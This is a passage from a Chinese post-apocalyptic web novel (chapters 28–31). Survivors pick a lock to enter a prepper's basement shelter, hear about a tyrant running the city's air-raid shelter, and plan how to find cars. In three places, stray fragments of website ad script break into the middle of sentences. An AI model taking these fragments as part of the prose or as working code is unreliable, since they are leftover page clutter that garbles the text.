28.第 28 章 * 高层建筑全军覆没,藏在花园里的洋楼亦未能幸免。 但凡事总有例外,一幢地理位置最差,离高层建筑最近的双层小洋楼竟躲过所有残骸袭击,奇迹般逃过一劫。 墙皮脱落,门窗破旧,绿油油的爬山虎覆盖了三面墙体,略显陈旧的楼房矗立在废墟中,几乎与周遭绿植融为一体。 “咚咚咚,咚咚咚!” 叩响墨绿色双开防盗门,顾孟然脸贴在门上,竖起耳朵仔细听着门内动静。 时间一分一秒过去,门内鸦雀无声,听不到一丝声响。 顾孟然凑近看了眼门锁样式,普通的机械锁。上辈子的生存经验让他熟练地掌握了开锁这门手艺,他一看便知,只需要开锁钩和其他硬物撬开锁芯即可。 但…… 找个地方歇脚而已,又不是入室抢劫的强盗,万一屋里有人呢?顾孟然想了想,耐着性子继续敲门,“有人吗?有人在里面麻烦说一声,没人的话我要进来了哦。” 话音未落,房门被人从里面打开了。 顾孟然下意识后退半步,双手紧紧攥着油锯,拇指悬停在开关上方,做好了随时打开油锯反击的准备。 “——吱啦。” 防盗门缓缓打开,生锈老化的合页好似久未活动的关节,发出令人牙酸的声响。 被夜色染黑的雾气中站着一道颀长的身影,深棕色工装裤,简约廉价的白色T恤……顾孟然越看越熟悉,越看越不对劲,猛地一下抬起头。 “梁昭?” 站在门后的除了梁昭还能有谁,顾孟然抬手指向覆满爬山虎的墙面,一脸诧异道:“你不是说去旁边看看吗,怎么看别人家里去了?” “沿着外墙走到了后院,那边有扇后门没锁。”梁昭将防盗门开到最大,手电筒的光不偏不倚打在顾孟然脚下,“进来吧,刚才在一楼大致转了一圈,没看到人。” “那感情好啊,有看到地下室入口之类的吗?” 顾孟然跟着梁昭往屋子里走。 “没来得及仔细找,听到你的声音就来开门了。” “好吧,得抓紧时间。” 小区有些年头了,这幢双层小洋楼属于前几年比较流行的独立屋。说好听点叫独栋小别墅,其实与乡下自建房并无太大区别。 小洋楼没有前院,进门直达玄关,之后便是餐厅客厅。 梁昭刚才说话明显只说了一半,房子的确没看到人,但处处皆是生活过的痕迹。 屋内门窗紧闭,餐桌上堆着乱糟糟的垃圾,方便面袋、薯片袋……基本是各种速食与膨化食品。大理石茶几落了厚厚一层灰尘,上面仅放着一个吃完的豆豉鲮鱼罐头。 罐头吃得非常干净,没有留下一点食物残渣,撕掉外包装甚至都很难看出罐头原本装的是什么。 种种迹象表明,地震后有人曾在这幢房子里生活过一段时间,虽然屋子里又乱又脏,但几乎找不到一样腐坏变质的食品。 来都来了,顾孟然与梁昭打着手电筒仔细搜寻,没有放过任何一个角落,也没有刻意放轻动作,就这样大张旗鼓地找。 事实证明跑这一趟是值得的,十分钟后,两人在后院附近找到一个存放清洁用品的杂物间,而杂物间里面有着一扇异常违和的防盗门。 不会有人闲着没事在杂物间里安一扇防盗门,除非这里还有通往其他地方的通道,比如地下室。 照例敲门询问,顾孟然和梁昭在门口等了两分钟。 听不到任何动静,等不到人来开门,顾孟然从空间里翻出提前准备好的开锁钩,蹲在门前捣鼓,尝试打开门锁。 梁昭眉头微蹙,视线黏着那双骨节分明的手,不见波澜的眸子闪过一丝诧异,手中电筒却稳稳当当地给顾孟然打着光。 不超过三分钟,“咔哒”一声脆响回荡在安静的杂物间。 锁开了,顾孟然大喜过望,回头朝梁昭得意地笑了笑。而就在这时,尚未推动防盗门缓缓打开,幽暗的门缝在手电筒光照射下,忽然闪过一道锃亮的银光。 光线略微有些刺眼,顾孟然眯起眼睛仔细一看。 什么玩意儿?电筒?镜子? 草,是西瓜刀! 锋利的西瓜刀闪着凶光正对面门,顾孟然瞳孔一紧,还没来得及起身,梁昭抓着他的肩膀用力往后一拽,直接将顾孟然按坐在地板上,猛地甩出去一两米。 “小心梁昭,里面有人,他有——” “砰!” 梁昭毫不犹豫,不给门后那人拿着西瓜刀冲出来机会,果断一脚踹上防盗门。 这一脚用了全力,门瞬间开到最大,与墙面反复碰撞。 不过短短几秒钟,防盗门停止摇晃,门后那人已不见踪影,疑似篮球砸落在地, “咚咚咚”的闷响回荡在幽深寂静的房门内。 “哎哟,哎哟……” 痛苦的呻吟带着回音,由远至近。 梁昭俯身捡起地上的油锯,握着手电筒走向屋内。 担心里面还有其他人,顾孟然手脚并用地从地上爬起来,揉了揉屁股,另掏出一把油锯跟在梁昭身后。 进门便是一条直通地下的楼梯,楼梯窄而长,共十余个台阶。但这里并非真正的地下室,空间狭小逼仄,楼梯拐角还有一扇防盗门。 大致将周围环境打量了一遍,顾孟然的视线跟随梁昭手中光源移动,落在了台阶正下方。 相貌平平的瘦弱青年四仰八叉地躺在地上,西瓜刀和一副黑框眼镜落在他身旁。显然,他那时站在门后,是被梁昭一脚从楼梯上踹下来的。 他似乎摔得不轻,捂着后脑勺龇牙咧嘴。 听到顾孟然和梁昭靠近的脚步声,他慌忙从地上坐起来,一只手捂着脑袋,另一只手的地上摸索,也不知道是在找眼镜还是找西瓜刀。 梁昭快他一步,走下楼梯将西瓜刀和眼镜一脚踢开。 明明是先动手的人,青年却像是受到了莫大的惊吓,脑袋也不捂了,一脸惊恐地望着两人,双手撑地瑟瑟缩缩地后退,“你们是谁,你们到底想干什么?” “不是哥们,你先动手的吧?举着个西瓜刀劈我脑门,搞得你像受害者一样。”顾孟然惊魂未定地躲在梁昭身后,语气算不上友善。 一听这话,刚才还慌得不行的男生突然硬气起来了,梗着脖子与顾孟然据理力争:“这里是我家!你们私闯民宅我不举西瓜刀举什么?敞开大门让你们进来抢吗?” “嘿你这人……” 顾孟然本想上前与对方理论,梁昭伸手拦了一下,他便作罢,乖乖站在原地与青年掰扯:“我们从大门开始,一路敲门敲进来的好吗?上面你可能听不见,但这扇门。” 顾孟然回头指了一下,“开锁之前我们难 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道没敲门,没问里面有没有人吗?是你自己不吭声,让我们以为里面没人,就算不敢开门,隔着门吱一声我们也不至于撬锁啊!” “我是你肚子里的蛔虫?我怎么知道你们是干什么的?我怎么知道吱一声你们就不会继续撬锁?擅闯民宅还有理了!我正当防卫有错吗?” 两人手中锋利的油锯好似摆设,青年半点不服输,声音越说越大,语气愈发激动,与顾孟然争得面红耳赤。 关键他说得还非常有道理,顾孟然气势一下子弱了下去,不再大声与其争执,小声嘟囔道:“呵,如果我们真是坏人,用得着给你敲门提醒?” 这话一出,刚才咄咄逼人的青年沉默了。 他垂眸看着地面静止不动,约莫过了一分钟,好似自言自语般喃喃道:“所以……你们不是九街的人?” “哈?什么九街十街?”顾孟然被问得一头雾水。 似乎确认了什么,青年倏地抬起头,黯淡无光的眸子瞬间亮了起来,颇为激动道:“你们不是山城人?你们从哪来的,现在又去哪?能带上我一起吗?” 虽然不知道这人为何突然转变态度,但擅闯民宅理亏在先,顾孟然想了想,态度随之转变,语气温和道:“在回答你的问题之前,我们方便进去看一看吗?” 时间不早了,外面还有一群人等着。 顾孟然下巴微扬,目光停留在旁边紧闭的防盗门。 “进去看看?”青年茫然环顾四周,眼睛眯成一条缝,双手不停地在地上摸索,“能帮我找找眼镜吗?说实话我压根不知道你在看哪,是想看我家地下室?” “对,我们赶路很累,需要找个地方休息。这里就你一个人?我们得先看看你这儿适不适合歇脚,才知道有没有继续聊下去的必要。” 有梁昭掩护,顾孟然不再担心青年会伤害到自己,他上前捡起掉落在地上的黑框眼镜,检查无异后递给青年。 “赶路……” 青年低声咀嚼这两个字,整个人肉眼可见地亢奋起来。他接过顾孟然手中眼镜戴好,手脚并用地从地上爬起来,快步走向防盗门。 “你们可以在这休息,在这里住上一段时间都没问题,我还可以给你们提供食物,我、我准备得很充分,吃喝都不缺。” 钥匙插/进锁孔轻轻一拧,门开了,青年没急着打开门,回头望顾孟然与梁昭,神采奕奕道:“只要你们答应我,带上我一起走,我保你们一路上衣食无忧。” 衣食无忧?几颗花生米啊,醉成这样。 顾孟然刚想说“知道我们多少人吗?”,青年拧动门把手用力一推,一间足以用震撼来形容的避难所即刻呈现在眼前。 地下空间出乎意料的大,进门便是一间三十四平米的客厅。沙发、电视、空气净化器……装修精致温馨,配套设施齐全。 幽暗狭长的通道两侧,厨房、卧室、洗手间一应俱全,除了光线较为昏暗之外,比普通人家地面上的住宅还要大,还要豪华。 负一层有这样的私人空间已经足够令人震撼,可随着通道尽头的大门缓缓敞开,顾孟然彻底傻眼了,有那么一瞬间,他怀疑这人也是重生回来的。 一间不输码头仓库的库房映入眼帘,杂七杂八的工具用具,琳琅满目的物资堆积成山。他终于知道这人哪来的底气保证“衣食无忧”,因为这里的物资足够一个人生存多年。 29.第 29 章 * 一个小时前,傻眼的是顾孟然。 一个小时后,傻眼的人变成了房主人郑奕杰。 房门大敞开,幽暗的楼梯间被强光手电照得明光锃亮。楼梯上,一个、一个又一个小朋友排成长龙,在两名年轻女孩的带领下缓慢走下楼梯。 12345…… 郑奕杰站在门口数,数得目瞪口呆,心拔凉拔凉的。 对方人数远远超出预料,郑奕杰后悔了,后悔答应留下他们暂住。 不是因为人多心疼物资,而是这么大一群人,其中大部分还是生活不能自理的小孩,他们真的能带着自己安全离开这座城市吗? 出发一个多星期,中途没能停下来好好休息一次,孩子们早就憋坏了。从车上下来又顶着高温走了一段路,所有孩子都到了极限,全部哭丧着脸,早没了出发前的喜悦。 昏暗狭窄的楼梯显得阴森恐怖,孩子们毫无安全感。 顾孟然和梁昭搬完物资前来帮忙,一个牵一个,好不容易走下楼梯,排着队走到防盗门门口,先前中暑的小胖墩张梓轩再也忍不住了,肩膀剧烈颤抖,“哇”地一下哭出声。 积攒已久的情绪化作狂风骤雨,以迅雷不及掩耳之势蔓延开,一时间,地下室如同炸开锅,响亮的哭喊震耳欲聋。 “呜呜呜……这里好黑,我不要进去!” “老师,周老师你把我们带去哪里?” “我不要出去玩了,妈妈,我要妈妈呜呜呜……” …… 情绪这东西会传染,开了口子就止不住了,八个小孩一起哭,那场面——无法控制的混乱。 所有大人齐上阵,折腾了近十分钟,连哄带骗才把小朋友们弄进屋。 当然了,进屋归进屋,该哭照样哭。 穿透力极强的哭喊声吵得人耳根子生疼,顾孟然揉了揉发胀的太阳穴,假意在刚搬进门的物资堆里翻找,实则从空间拿出一大袋糖果交由周琴分发。 来来回回都是这些零食,孩子们早吃腻了,糖果并不奏效。八个小朋友仿佛同穿一条裤子,只要有一个还在哭,其他的也跟着闹。 这场精神折磨持续了很久,两位老师都无计可施,其他人更加没有办法。 顾孟然甚至想着哭吧,反正哭累了就不哭了,而就在这时,一直没什么存在感的郑奕杰从过道里走出来,怀中抱着一个硕大的纸箱。 纸箱轻轻放在客厅茶几,郑奕杰抬手拍了两下。 掌声吸引了部分小朋友们的注意,他乘胜追击,骤然拔高声音夹着嗓子道:“小朋友们,恭喜你们成功抵达这趟旅途的第一站,山城!听说你们一路上都很乖很听话,不吵也不闹,所以叔叔精心为你们准备了礼物。” 郑奕杰演技精湛,搭配刻意夹出来的、古灵精怪的声音,一下子就引起了孩子们的兴趣。 其个别小孩边哭边往他那瞅,带头哭鼻子的小胖则吸了吸鼻子,望着纸箱瓮声瓮气道:“礼物?什、什么礼物?” 郑奕杰笑着摇摇头:“叔叔说过了,礼物专门为听话的小朋友准备的。你们现在又哭又闹,礼物就不属于你们了。但是呢,你们路上表现得很好,叔叔再给你们一次机会,五分钟内擦干眼泪,礼物还是你们的哦。” 没有小孩能拒绝礼物的诱惑,话音未落,蜷缩在周琴怀里抽抽涕涕的小男孩打了个哭嗝,泪眼汪汪地看向郑奕杰,“那,那叔叔你,你要先给我们看看是什么礼物。” 先看礼物是否合心意,然后再决定要不要继续哭? 顾孟然被小孩逗得笑出了声。 郑奕杰游刃有余,竖起食指晃了晃,“不行哦,礼物暂时保密。不过叔叔可以给你们透露一点,不是零食,是玩具。” “哇,玩具?”小胖墩眼睛都发光了,立马抬手抹眼泪。鼻涕眼泪糊了一脸,张梓轩耸着鼻子朝郑奕杰伸出手,“叔叔我乖,我最乖啦,可以给我礼物了吗?” “当然可以,听话的小朋友都有礼物。” 郑奕杰不紧不慢地打开纸箱,像是慢动作镜头一样,刻意放缓了动作,每一步都尤为漫长。 哭喊声渐弱,小朋友们被吊足了胃口,一个个挂着鼻涕眼泪,全然忘了哭泣,伸长脖子目不转睛地盯着纸箱看。 一个没封口的纸箱拆了整整三分钟,嘈杂的客厅彻底安静下来。郑奕杰见状终于加快了速度,三两下打开纸箱,拿出几盒印着不同图样的乐高积木。 变形金刚、卡车、挖掘机…… 客厅如烧开的滚水,瞬间沸腾起来。 “叔叔叔叔,我要哆啦A梦!” “叔叔我可以要挖掘机吗?” “城堡,叔叔我喜欢那个漂亮城堡。” 孩子们破涕为笑,乖乖排队领乐高,欢声笑语溶解了沉闷压抑的气氛。 顾孟然叹为观止,这人哄孩子真有一套。 安顿好小朋友,顾孟然和梁昭又跑了两趟,陆续将车上行李全部搬回地下室。 又累又热,重新回到地下室,顾孟然瘫坐在地上,累得连手指头懒得动一下。 地下室没那么多房间,晚上只能勉强挤一挤。 好在他们出门搬行李的时候,两位老师也没闲着,得了房主的首肯便带着老爷子将拼接地垫铺在地上,供孩子们玩乐高,也便于晚上休息睡觉。 忙活儿完了,接下来就剩填饱肚子,和他们究竟能在这里歇多久这件事儿了。 空气中弥漫着一股淡淡的清香味,顾孟然呼出一口热气,揉了揉早已瘪下去的肚子,撑着地板站起身。 房主郑奕杰不在客厅内,顾孟然四下环视一圈,不动声色地给梁昭递了个眼神,放缓动作走向沙发背后的通道。 梁昭心领神会,捏着半瓶没喝完的矿泉水跟了上去。 厨房热气腾腾,大号锑锅架在煤气灶上,正源源不断地冒着白烟。菜板上摆着花椒、姜蒜等调料,洗菜池里还浸泡着一盆粗细分明的土豆丝。 而房主人搭了张小板凳坐在厨房门口,埋头扒白菜叶。 明显听到了脚步声,郑奕杰抬头看向迎面走来的两人。 傍晚的争执仿佛从未发生,他顺手将蔫儿菜叶丢进垃圾桶,起身与两人招招手,“来得正好,没煮过这么多人的饭,来帮我看看够不够。” 说完他转身走向灶台,伸手将锅盖掀开。 一股清新的谷物气息扑鼻而来,顾孟然鼻尖微动,快步同梁昭走进厨房,伸长脖子往锅里瞅。 锑锅比普通高压锅还要大上一圈,堪比大号脸盆。郑奕杰估计是想煮粥,掺了满满一锅水,但锅里的米粒…… 顾孟然用勺子搅了两下,嗯,阻力非常大,煮大白米饭都有多不少。 米都煮开花了,这时候说多也无济于事,顾孟然放下勺子朝郑奕杰笑了笑,含含糊糊道:“差不多,反正够吃。” “那就行,我想着十多个人呢,就怕不够。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>郑奕杰重新盖上锅盖,看了眼手里蔫不拉几的大白菜,“菜就炒个土豆丝和白菜哦?小朋友都能吃。主要也没有鲜肉和别的新鲜蔬菜,脱水蔬菜我倒是囤得有,不过没营养,不给小孩吃。” 顾孟然点点头,看向郑奕杰的目光愈发友善,“谢谢。你费心了,看着安排就行,客随主便嘛。” “不会让小朋友饿肚子的,只是厨艺差强人意,你们别嫌弃。”郑奕杰不太自然地挠了挠头,干巴巴笑了两声。 客套到这就差不多了,顾孟然没再接话,沉吟片刻后笑意收敛,郑重其事道:“傍晚你说可以让我们在这里住一段时间,我想问问,这话还算数吗?” 实在找不到住处,傍晚顾孟然与郑亦杰玩了个心眼。 他表示会考虑对方的条件,前提是他们要在这里暂住一段时间。而郑亦杰答应后,他以搬行李为由,先斩后奏,直接将小朋友们带过来道德绑架。 不得不说,郑奕杰脾气还算不错,他没有生气反而大度地收留他们,甚至还给做晚饭,只是顾孟然不太确定,明个儿天一亮会不会被撵出去。 脑海中已经上演了一出大戏,郑奕杰迟迟没有回应,顾孟然眉头微蹙,略微思索了两秒,诚恳与对方道歉:“对不起,那时候没有和你商量,擅自——” “不是因为这个。”郑奕杰打断他的话,烦躁地抓了把头发,“哎,你还是先说说,你们在哪找这么多孩子?他们的父母呢?你们又要把他们带去哪?” 担心他们拐带小孩?顾孟然寻思有戏诶,组织了一下语言将这件事的来龙去脉告诉郑奕杰,并再三保证,“我们真不是坏人,我们只是陪他们走一程,直到找到政府军方的避难所。” 郑奕杰听完沉默了许久,再抬起头时,看向两人的眼神发生了微妙的变化。 “是我小人之心了。这时候还不忘帮助别人,你们真是难得一见的好人。那两位老师更加了不起,舍己为人的英雄啊。”郑奕杰由衷感叹道。 顾孟然笑了笑,“你也很善良,好心收留了我们。” “七八双水汪汪的眼睛盯着我看,我怎么拒绝?” 郑奕杰哈哈一笑,但笑着笑着,笑容凝固在了脸上,长长叹了一口气,“也是一群可怜的小孩。住,你们就留在这里住,饭管够,反正我迟早要走,物资一时半会吃不完。” 一笑泯恩仇,傍晚那一茬算是过去了。 只是顾孟然心里还是有点过意不去,想了想再次与对方致歉:“对不起哥们,下午那一脚真不是故意的,我哥看到西瓜刀担心我受伤,条件反射就踹了一脚。” 其实顾孟然当时就算站着不动,郑奕杰也砍不下去那一刀。没那个胆子,也下不了那个手,他一直用刀背对着门外,只是想吓唬吓唬人。 越解释越让对方尴尬,郑奕杰笑着摆摆手,“没事。” 粥差不多熟了,菜还没炒。 厨房狭窄打不开转,郑奕杰刚想让两人先出去,站在边上一直没有说话,兢兢业业充当保镖的高个子男生忽然开口:“方便问个问题么?” 郑奕杰点了下头,“你说。” 梁昭毫不犹豫,直切主题:“你仓库里的物资不像是灾后出去收集的,所以你在灾前就准备好了地下室和物资?你是得到了什么消息?为什么会提前做这些准备?” 灵魂三连问道出了顾孟然心中疑惑,虽然有些不太礼貌,但顾孟然依旧直勾勾地盯着郑奕杰,等待着他的答案。 30.第 30 章 * “扑哧。” 不含恶意的轻笑炸响,回荡在安静的客厅。 没有人说话,直到笑声渐渐平息,郑奕杰拍拍胸口,呼出一口灼热的气息,“不是,看你们年纪应该比我还小一点,你们平时都不上网的吗?” 上网?顾孟然隐约猜到了一点,不自觉地挑了下眉。 梁昭始终冷着脸,顾孟然一声不吭,郑奕杰以为他们误会了,赶忙摆手解释:“我不是嘲讽你们,就,就黄雾刚刚爆发那一阵,网上不是闹得沸沸扬扬嘛,什么蓝星完蛋了,世界末日之类的,难道你们一点都没听说?” “听倒是听说过,”顾孟然点了点头,若有所思道:“但黄雾爆发也就这几个月的事,你就这么轻易地相信了,还为此做了这么多准备?” “一看你就是从来不看网络小说的人。” 郑奕杰推了下黑框眼镜,扬起嘴角,露出一个高深莫测的笑容,“在网文里,这也不信那也不信,总觉得自己比别人聪明那种人,一般都是死得最快的炮灰。 猫扑论坛知道吗?之前上面很多帖子都分析得很有道理,其中一个楼主甚至准确说出黄雾来源于火山和地下裂缝,反复强调即将有灾难发生,现在看来是真预言家啊! 黄雾真的太诡异了,我虽然不懂天文地理,但我这人听劝。所以综合所有情况来看,我决定囤积物资有备无患。” “当然了,最重要的原因……”郑奕杰停顿了几秒钟,见两人并未表现出不耐烦,继续道:“我本身就是个末日主义,我相信末日总有一天会到来,既期待又害怕,提前做了一些规划。” “比如这套房子,我五年前买的二手房,看到这间地下室我当场就付了定金。当时想着房子一装修,物资一囤,末日来了往里面一躲,苟个八年十年至少不成问题。 不过我当时以为末世是丧尸爆发,没想到等来了火山爆发,地震地裂。得亏这房子牢固,没在地震中倒塌,不然现在我尸体都臭了。” 似乎太久没有与人交流,郑奕杰话匣子打开了就关不上,自顾自地说了许久。 顾孟然听得很认真,重点却不知不觉地跑偏。 郑奕杰看上去只有二十五六岁,五年前估计就二十出头,那个年纪都买上房了?顾孟然忍了,但没忍住,似不经意地问道:“那,你家里人呢?没把他们接过来一起?” 郑奕杰:“没爹没妈,无牵无挂。” “抱歉。”顾孟然垂眸致歉。 似乎毫无不在意,郑奕杰跟个没事人一样,笑吟吟道:“没事儿,总好过死在地震里。而且这不是还能显摆显摆嘛,我二十岁全款买房不靠任何人。” 对方巧妙化解了这波尴尬,顾孟然识趣地接过话茬,给对方提供情绪价值:“厉害,人和人果然不一样。你二十岁全款买房,我十九岁还在问家里要钱。” 这话说到郑奕杰心坎上了,他顿时笑得合不拢嘴,伸手往顾孟然肩膀上拍。 那只手距离顾孟然的肩膀不到一寸,梁昭轻咳一声,再度提出疑问:“有水有电有物资,地下室温度尚在承受范围内,既然你准备得这么充分,为什么不继续留在这里,反而要跟我们一起走?” 梁昭要么不说话,一开口就犀利地提出关键问题。顾孟然闻言微微一愣,立马收起了继续说笑的心思。 的确很奇怪,通过郑奕杰的描述不难看出,打造这间地下室他耗费了一番心血。而无牵无挂,衣食无忧的情况下,他为什么要放弃自己的心血? 不是所有人都有空间将物资打包带走,在这个节骨眼儿,宁肯放弃重要的食物资源也要离开,难道…… 他也知道会下雨? 两双眼睛的注视下,郑奕杰收回僵在半空中的手,长长叹了一口气,“哎,说起来复杂。肚子饿了,先吃饭,吃完再聊。” 晚餐是两菜没有汤,一道卖相极差的酱油土豆丝,外加一道水叽叽的清炒小白菜。 小朋友们饭量不大,一人吃了小半碗米粥便放下碗筷,丢丢丢地跑去拼乐高。 一群大人胃口相当不错,尽管饭菜不算美味可口,但这些天以速食干粮谋生,难得吃上一顿热乎乎的白米干稀饭,连两位女生都就着辣酱吃了两大碗。 菜勉强吃完,倒干不稀的白粥剩下大半锅,明天早上都还能吃上一顿。但想都不用想,这高温,就算是地下室,温度至少也在三十度以上,食物隔夜指定馊。 再舍不得也只能倒掉,顾孟然自告奋勇倒垃圾,端着大半锅粥独自上楼。十分钟后,他顶着一脑门汗,拿着一个空锑锅回来。 倒掉?倒不了一点,放空间里又坏不了。 吃饱喝足,没急着收拾碗筷睡觉,顾孟然与梁昭重新坐回餐桌,齐刷刷把郑奕杰盯着,就等着他开口。 这架势一瞅就有话说,正准备起身离开的老爷子和两位老师脚步一顿,重新坐了回来。虽然没有像顾孟然他们那样直勾勾地把人看着,但注意力全部集中在郑奕杰身上。 当上主角的感觉应该还不错,被一群人围着,郑奕杰以他固有的聊天方式,将山城现目前的情况转述给众人。 “地震过后,城北这一片的幸存者基本躲进了九街附近的防空洞。哦对,你们以前没来过山城吧?防空洞是以前留下的,那一片地底下都是,现在和地下商业街差不多。” “这场地震没给人留活路,死的死伤的伤,房屋尽数倒塌。有个防空洞落脚已经是不幸中的万幸,可防空洞人太多,一直等不到救援,没过多久防空洞里面就乱了起来。 打架斗殴那都是家常便饭,甚至有人为了一口吃的、一床被褥,或者一个休息的地方豁出性命。 后来是一个、一个膀大腰圆,胳膊比我大腿还粗的男人带着他的小弟接管了防空洞。那时候秩序混乱,人心惶惶,其实有个人站出来带头维持秩序也是好事,关键那人……他接管防空洞之后直接当上皇帝了,根本不把人当人!” “怎么说?”孟高阳好奇得不行,话音落下赶忙追问。 郑奕杰摇头叹气,“那人接管防空洞后还接手了防空洞内所有物资,包括幸存者自己带进去物资也要上交,由他来统一分配。 结果呢,他和他的小弟们吃香喝辣,让其他幸存者冒着呛人的浓雾出来寻找物资。而且他们还制定任务,每个人每天必须上交多少物资,不够就克扣吃喝。” “砰!” 老爷子一巴掌拍在桌子上,义愤填膺道:“可恶!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 梁昭听着不太对劲,皱着眉头问了一句:“如果真是这样,那些幸存者为什么不离开?地震震级虽高,但一整座城市总有建筑物残存,你们山城不是防空洞最多的城市吗,去找别的不行?” “不是不走,是走不了。”郑奕杰长叹一口气,“不是所有人都是孤儿,一家派一个出去,留下你的亲人,是你你会走吗?” 梁昭摇摇头:“你继续。” 郑奕杰:“秩序崩塌,世道混乱,他们应该很享受那种大权在握的感觉,所以不允许有人脱离掌控。之前有一伙人实在受不了这种压迫,选择连夜逃走,但还没走出多远就被发现,被他的狗腿子抓了回来。 当时我在那附近弄汽油,我亲耳听到他们是怎么对待那些试图逃走的幸存者。揍,一顿暴揍,愣是揍得半死,揍得他们求饶,硬生生拖回来的。” “都这样了,他们为什么不团结起来反抗?”顾孟然双手虚握抵着鼻尖,神情严肃道:“小弟再多也多不过幸存者,组织一伙人把他们撵出去,重新选个靠谱的当老大。” 郑奕杰嘴角牵强地动了下,扯出一抹难看的苦笑,“哪那么容易,权力的天平永远偏向资源,他物资在手,追随他的人也就越来越多。大家都是生活在和平时代的普通人,饭都吃不饱,哪还有力气反抗。” 突逢巨变,人类夹缝中求生,现如今自身难保,谁又敢冒着生命危险出来当英雄。 凝重的话题让客厅气氛变得沉闷压抑,一群成年人静坐沉默不语,不谙世事的稚童醉心积木,时而传来几声轻快的嬉笑声。 知道得越多越觉得无能为力,顾孟然深知自己做不了什么,决定不再共情别人的苦难,转而询问郑奕杰:“你觉得他们会威胁到你,所以你宁愿放弃费心筹备的物资也要离开这座城市?” “不是觉得,”郑奕杰脑袋摇得飞快,“是一定会威胁到我。气温升高之后他们就开始搜寻留在外面的幸存者,找到一个带走一个,包括别人手里的物资。” 顾孟然眉头紧拧,捏着下巴若有所思道:“奇怪,物资紧缺,不赶人走,反倒还往里面带人。嘶,你确定不是因为天气太热,他们把外面的人带回防空洞避暑乘凉吗?” “避暑乘凉?”郑奕杰嗤笑一声,“别人不愿意去,连拖带拽硬绑回去也是为了避暑乘凉?他们就是一群仗势欺人,为非作歹的家伙,我亲眼看到的,没有别的可能。” “我不想去防空洞,我长这么大连班都没上过一天,现在还要去给别人当奴隶?我必须走,必须离开这座城市,物资能带多少带多少,小命要紧。” 说着说着,郑奕杰忽然想到了什么,脸色微微一变,倏地抬头看向众人,“你们进城没碰到别人吧?有没有感觉有人跟踪你们?” 跟踪?我又不是特工,就算有人跟踪我也察觉不到啊!顾孟然在心里吐槽,然后摇摇头:“应该没有。” “没感觉到,一路上很安静,人影都没看到一个。”魏千兰补充道。 郑奕杰拍拍胸口,“那就好那就好。这几天热过头了,他们不是很活跃,不过我们还是要小心一点,尽量不要外出。其实我家距离九街还挺远的,但这房子没塌实在显眼,找到这也是时间问题,必须尽快离开。” 31.第 31 章 * 客厅挤一挤勉强能睡十三个人,但郑奕杰也知道男女有别,特意将书房收拾了一下,留给他们三个大男人单独住。 床是没有的,依旧是打地铺,左侧平稳的呼吸声,右侧响亮的鼾声此起彼伏,顾孟然被两人夹在中间,瞪大眼睛望着天花板,毫无半点睡意。 刚歇下又说要走,顾孟然心有点累。 以目前已知情况来看,趁早离开是对的,远离是非纷争,他可不想让自己的家人和一群小朋友来蹚这趟深不可测的浑水。 说走就走显然不太可能,他们需要交通工具。 持续高温天气,停在路面上的僵尸车几乎无法使用。下午顾孟然和梁昭寻找住处的时候稍微留意了一下,不是一辆两辆,绝大部分汽车的轮胎都瘪了下去。 还能去哪找车呢? 顾孟然愁得不行,放轻动作翻了个身。 “还没睡?” 刚把脸转动到左边,梁昭刻意压低的嗓音在耳边响起。 距离很近,对方温热的吐息扑面而来,顾孟然望着梁昭闪烁微光的黑眸,轻轻“嗯”了一声。 “在想车的事?”梁昭枕着手臂侧躺,借夜色掩护直勾勾地盯着顾孟然。 顾孟然浑然未觉,听到梁昭的话旋即笑出声,“你会读心术吧梁昭?每次都能猜到我在想什么。” “你的想法写在脸上,表现得很明显。” “视力不错嘛,这么黑也看得见?” 梁昭嘴角微扬,唇缝中溢出一声低笑,“读心术都有了,多个夜视眼似乎不过分?” 闲聊是不错的放松方式,短短几句话,顾孟然心中郁结散去大半。梁昭慵懒散漫的嗓音仿佛催眠耳语,顾孟然捂着嘴,不自觉地打了个哈欠。 “所以你有什么好的建议吗?我们该去哪找车?” 梁昭几乎想都没想,直接给出标准答案:“车不难找,商场、酒店和住宅通常有配套的地下停车场。地下温度不比地面,应该还有很多能开的汽车,只是……” “只是什么?”顾孟然茫然追问。 梁昭意味深长地笑了笑,“没有车钥匙。” 停在路边的汽车大多是车主逃难时丢弃的,很多都没有锁车、没有拔钥匙。而停车场里车想都不用想,肯定锁得严严实实。 特意提这个就好像知道点什么一样,顾孟然不太自然地摸了下鼻头,含含糊糊道:“那,到时候我试试,先说好,我不一定行。” 梁昭笑而不语,深邃的眸子在黑暗里泛着光,似乎能看穿一切。 顾孟然被他看得发怵,生硬地转移话题:“还是和今天一样,去那些没有完全坍塌的建筑物里找。我们不要走太远,就在附近找,免得碰上郑奕杰说的那伙人。” “明天就去吗?但集中注意力开了这么长时间的车,你不累吗?要不要休息两天?” 顾孟然不大安分,伸出食指戳了戳梁昭的胳膊。 梁昭垂眸看了眼那只作乱的手,轻轻摇头:“不到休息的时候,得尽快找车离开。” 说完,梁昭似乎又想到了什么,微垂的眼眸缓缓抬起,重新对上顾孟然的视线,“考虑好了吗?郑奕杰,打算带他一起走?” 顾孟然眉头一皱:“你和外公总这样,不操半点心,什么事都让我来做决定。不是说好一家人吗?你也说说呗,要不要带他一起走?” “你是当家人,你说了算。”梁昭巧妙地避开问题。 顾孟然不依不饶:“赶紧的,这次你来做决定。” “嗯……我想想。” 在顾孟然期待的眼神中,梁昭短暂地思索了两秒,温声道出答案:“带上他。明面上我们已经没多少物资了,如果不带他,我们还要浪费时间去收集物资。而且他是本地人,对周围熟悉,知道哪里有酒店、商场,利于我们找车。” 全是利益没有感情,梁昭说完又特意补充了一句,“不是说把他带上风翼号,我们送小朋友顺便送他到正规基地,路上还能有个照应。” “英雄所见略同。”顾孟然兴奋地在他肩膀上拍了两下,“看吧,做决定不难,以后你要多拿主意,帮我分担点。” 不是非要梁昭做决定,顾孟然更想让梁昭迈出那一步,不要把自己当外人,不要犹犹豫豫不敢融入,永远游离在边缘之外。 其实他们等同于身份互换,上辈子顾孟然“寄人篱下”也是这样惶惶不安,是梁昭一点点将他拉回来,重新回到这个不算美丽,但仍有牵挂的世界。 * 